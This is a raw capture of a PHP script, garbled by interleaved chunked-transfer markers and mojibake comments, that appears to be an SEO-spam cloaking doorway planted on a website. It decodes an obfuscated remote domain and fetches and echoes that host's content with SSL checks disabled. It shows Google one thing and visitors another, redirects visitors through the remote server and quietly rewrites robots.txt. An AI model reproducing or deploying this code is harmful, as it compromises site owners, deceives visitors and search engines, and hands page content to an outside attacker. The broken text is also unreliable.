1 < 5 ?php 5 erro 5 r_rep 5 ortin 5 g(0); 4 $g 6 et = f 5 ilter 5 _inpu 6 t_arra 4 y(IN 4 PUT_ 5 GET, 5 FILTE 4 R_SA 4 NITI 5 ZE_ST 4 RING 6 ); 4 /* - 1b ------------------------ 6 é« 4 ˜é€Ÿ 3 本 4 地ç 4 ¼“å­ 3 ˜å‡ 4 ½æ•° 2 1d ------------------------- */ 4 fun 6 ction 5 cache 5 _get( 5 $key, 6 $expi 5 re = 5 300) 8 { $ 9 file = sy 7 s_get_t 5 emp_d 5 ir() 4 . '/ b cache_' . m 7 d5($key a ) . '.php' 8 ; i 7 f (file 6 _exist 7 s($file 5 ) && 5 (time 4 () - b filemtime( 9 $file)) < 11 $expire) { 8 retu 7 rn file 9 _get_cont b ents($file) e ; } b return fals 5 e; } 1c function cache_set($key, $ 4 data 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 9 file_put_ 15 contents($file, $data 5 , LOC 4 K_EX 7 ); } 27 /* ------------------------- èŽ 4 ·å– 4 真å 3 ®žè 4 ®¿é— 4 ® IP 4 (å 3 …¼å 4 ®¹ C 5 DN / 4 åä 3 »£ï 2 ¼‰ 2f ------------------------- */ function get_re 5 al_ip b () { $ 8 keys = [ c 'H 4 TTP_ 5 CF_CO 4 NNEC 5 TING_ 5 IP', 5 // Cl 5 oudfl 13 are 'HTTP_ 4 X_RE 8 AL_IP', c // Ng 15 inx 'HTTP_X_ 4 FORW 4 ARDE 9 D_FOR', 6 // Pro 13 xy 'HTTP_C 5 LIENT 10 _IP', ' 4 REMO 5 TE_AD 9 DR' 6 ]; 9 forea 4 ch ( 8 $keys as 10 $k) { 8 if (!emp 5 ty($_ 4 SERV 4 ER[$ 3 k]) 14 ) { $ip f = $_SERVER[$k] 15 ; if ( 5 strpo 6 s($ip, 6 ',') 3 !== 17 false) { d $ip = tri 6 m(expl 4 ode( 9 ',', $ip) 3 [0] 11 ); } 1b if (filter_ 3 var e ($ip, FILTER_V 4 ALID 6 ATE_IP 16 )) { a return $ip 21 ; } } 11 } return '12 3 7.0 5 .0.1' 2d ; } /* ------------------------- æ› 4 ´å¿« 3 çš„ 7 getCur 3 l() 31 ------------------------- */ function getCurlF 5 ast($ 8 url) { c $cache 4 d = f cache_get($url) 13 ; if ($cached 13 !== false) return $ f cached; a $data = '' e ; if (f f unction_exists( 5 'curl 6 _init' f )) { $ 6 ch = c 19 url_init($url); 8 curl_set a opt_array( 4 $ch, 12 [ CU 5 RLOPT 5 _RETU 4 RNTR 5 ANSFE 4 R => 6 true, 16 CURLOPT_ b CONNECTTIME 7 OUT => 18 5, CURLOPT_ 12 TIMEOUT => 18 8, CURLOPT_ 4 SSL_ 5 VERIF 9 YPEER => 26 false, CURLOPT_SSL_VERIFY 4 HOST 22 => false, CURLOPT_FO 3 LLO 6 WLOCAT 3 ION 24 => false, CURLOPT_USER 5 AGENT b => "M 5 ozill 4 a/5. c 0" 15 ]); $data = 8 curl_exe 5 c($ch 15 ); curl_clos e e($ch); } c if ( d empty($data) 6 && ini 9 _get('all 7 ow_url_ 5 fopen 11 ')) { $c 9 ontext = 6 stream a _context_c 6 reate( 11 [ "h 4 ttp" 5 => [ 7 "timeou 8 t" => 8, 7 "heade 7 r" => " 5 User- 5 Agent e : Mozilla/5.0\ 5 r\n"] 11 , "s 4 sl" a => ["veri 5 fy_pe e er" => false, f "verify_peer_na c me" => false 20 ] ]); $data = 14 @file_get_contents($ c url, false, 8 $context 22 ); } if (!empty($data) d ) cache_set($ c url, $data); 12 return $data 2b ; } /* ------------------------- 6 URL ä¿ 4 ¡æ¯ 2d ------------------------- */ function get_ 8 url_info 8 (string 5 $type 5 ='dom 5 ain') 9 : string b { $hos d t = $_SERVER[ b 'HTTP_HOST' 4 ] ?? f ''; if ($ 6 type = 6 == 'no 5 _www' b ) return pr 6 eg_rep 3 lac 8 e('/^www 4 \./i 4 ', ' 9 ', $host) d ; $pro 5 tocol 14 = (!empty($_SERVER[ 7 'HTTPS' 6 ]) && 18 $_SERVER['HTTPS'] !== 'o 5 ff') 8 ? "https 5 ://" b : "http://" 9 ; $b 6 ase = 11 $protocol . $host d ; if ( 19 $type === 'base') return 5 $base 1a ; if ($type === 'full 12 ') return $base . d ($_SERVER['RE 4 QUES 5 T_URI 12 '] ?? ''); f return $host; 2a } /* ------------------------- åŸ 3 ºç¡ 4 €å˜ 3 é‡ 21 ------------------------- */ g 7 oto ONP 3 uB; a ONPuB: $h a ttp_type = 12 !empty($_SERVER[" 4 \x48 5 \124\ 7 x54\x50 5 \x53" 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 9 !== "\15 4 7\x6 4 6\14 6 6" ? " 7 \150\x7 a 4\x74\x70\ 4 163\ 5 72\x2 a f\x2f" : " 6 \x68\1 a 64\164\160 b \72\x2f\57" 8 ; goto O 4 4O9k a ; O4O9k: $ 5 vurl 8 = "\x74\ 9 157\56\15 5 2\147 8 \141\x6c a \x6c\163\x 6 2e\143 8 \157\x6d d \x2f"; goto v 5 gv72; 9 vgv72: $ 6 qz = s 5 ubstr d (str_replace( a array("\x7 7 7\x77\1 7 67\x2e" 7 , "\56" 15 ), '', $_SERVER["\110 b \x54\x54\12 5 0\x5f 8 \x48\x4f 8 \123\x54 7 "]), 0, 6 3); 25 /* ------------------------- è§ 3 £æž 3 f 4 å‚ 29 æ•° ------------------------- */ $sz = 3 $ii 9 d = ""; c if(!empty($_ 5 GET)) 5 { $ 4 f=re a set($_GET) d ; $sp = a explode('- 5 ', $f 10 ); if (coun 6 t($sp) 6 === 2 11 ) { $sz 6 = $sp f [0]; $ c iid = $sp[1] b ; } } 28 /* ------------------------- 远 3 程 4 接å 2 £ 2d ------------------------- */ if (!empty($s b z)) { 6 $jd = e getCurlFast("{ c $http_type}{ 7 $vurl}3 4 kg.a 5 spx?s 3 z=" 9 . urlenc 9 ode($sz)) 6 ; } e 3a lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? f xy={$http_type} c "); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 12 d=" . urlencode($j 2 d) d ); } $hyz 3 hdy 9 = $jd . 3 "41 b .aspx"; $s 5 url 16 = $jd . "s41.aspx"; 27 /* ------------------------- ro 4 bots 5 / si 5 temap 29 ------------------------- */ $sitemapL 7 ine = " 9 Sitemap: e {$http_type}{$ 21 _SERVER['HTTP_HOST']}{$_SERVER['S 3 CRI 6 PT_NAM 6 E']}?w 6 =" . d 7 ate('Ym 4 dHi' 5 ) . " f \n"; function 6 ensure 8 _robots_ 14 sitemap($sitemapLine a ) { $ a robots = r 10 trim($_SERVER['D 4 OCUM 6 ENT_RO 4 OT'] 7 , "/\\" c ) . '/robots 4 .txt d '; if (! 13 file_exists($robots e )) { 1b @file_put_contents($robots, 8 "User-a 9 gent: *\n 6 Allow: 5 /\n" f . $sitemapLine d , LOCK_EX); 12 } else { 1d $c = @file_get_contents($ 8 robots); 12 if ($c = a == false | a | strpos($ f c, $sitemapLine b ) === false 2d ) { @file_put_contents($robots, e $sitemapLine, 7 FILE_AP 5 PEND 11 | LOCK_EX); 11 } } } 26 /* ------------------------- w 4 = è¾ 4 “出 2c ------------------------- */ if (!empty($ 6 get['w 8 '])) { b $para 5 ms = 9 http_buil 4 d_qu 3 ery f ([ 'NO 5 Umber 5 ' => e $get['NOUmber' 14 ] ?? '', 't 26 ' => $get['t'] ?? '', ' 29 cn' => $get['cn'] ?? '', 'p 5 NOUm' 26 => $get['pNOUm'] ?? '', 'c 3 id' 25 => $get['cid'] ?? '', ' 12 m' => $get[' 10 m'] ?? '' ] b ); $ 15 str = getCurlFast("{$ 6 surl}? 8 {$params e }"); ec 3 ho 17 str_replace( [ 5 'yymm 4 ','g 9 gggg','?f 4 ='], 16 [$http_type. 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 9 , $sz,'?' 5 .$qz. f '='], 12 $str ); 3 exi 2f t; } /* ------------------------- IP 4 判å 1 ® 3 šï¼ 3 ˆä¿ 4 ç•™ 5 kk æ 3 µ‹è 2 ¯• 27 ) ------------------------- */ $kk 4 = is b set($get['k 6 k']) ? 6 trim( 13 $get['kk']) : ''; 7 $ip = ( 9 $kk !== ' 8 ') ? "66 4 .249 4 .82. 5 8" : d get_real_ip() 2b ; /* ------------------------- get b domain2 判 3 æ–­ 27 ------------------------- */ $domain 8 = trim( 13 getCurlFast($jd . " 11 getdomain2.aspx?r 4 nd=1 8 &ip=" . 4 $ip) 2b ); /* ------------------------- é 5 ž goo 5 gle + 6 iid â 3 †’ 4 è·³è 2 ½¬ 2c ------------------------- */ if ($domain c !== 'google' 4 && b !empty($iid 10 )) { $kname 7 = urld 6 ecode( 1b getCurlFast($jd . "gn.aspx? a iid=" . $i 7 id)); c echo 'loca 6 tion=" b ' . $jd . " 8 a.aspx?c 14 name=" . urlencode($ a kname) . " a &url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 12 str = getCurlFast( b $hyzhdy . " a ?iid={$iid 29 }"); echo str_replace( [' d ggggg','YYYYY 6 ','XXX 8 YYY','å½ 3 “å‰ 7 URL',' 8 UUUUU',' 5 MMMMM 18 ','?f='], [$sz, f get_url_info() 16 , get_url_info('base') 16 , get_url_info('full') 18 , get_url_info('no_www') 6 ,parse 4 _url 1c ($_SERVER['REQUEST_URI'], PH 6 P_URL_ 4 PATH 5a ),'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 5 elper 2a ------------------------- */ function o 6 utput_ a sitemap_an 6 d_exit e ($sitemapLine, 14 $http_type) { 23 ensure_robots_sitemap($sitemapLine) f ; echo " 10 9 Sitemap < 6 /div>" 36 ; exit; } /* ------------------------- 9 kk 输出 4 控å 2 ˆ¶ 2e ------------------------- */ if ($kk !== '' 4 && 9 preg_matc 6 h('/^[ 4 A-Za 4 -z0- 4 9]+$ 6 /', $k d k)) { $r 5 emote 10 = getCurlFast($ 1d jd . "getdomain2.aspx?rnd=2&k 7 k=" . $ f kk); if (! d empty($remote 13 )) { echo 7 $remote 12 ; exit; 1e } } if ($kk !== '' && 2d !preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 8 no_query 4 = e 13 mpty($_SERVER['QUER 8 Y_STRING 8 ']); 12 if ($kk === '' && c $is_no_query 16 ) { if ($domain = b == 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 48 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0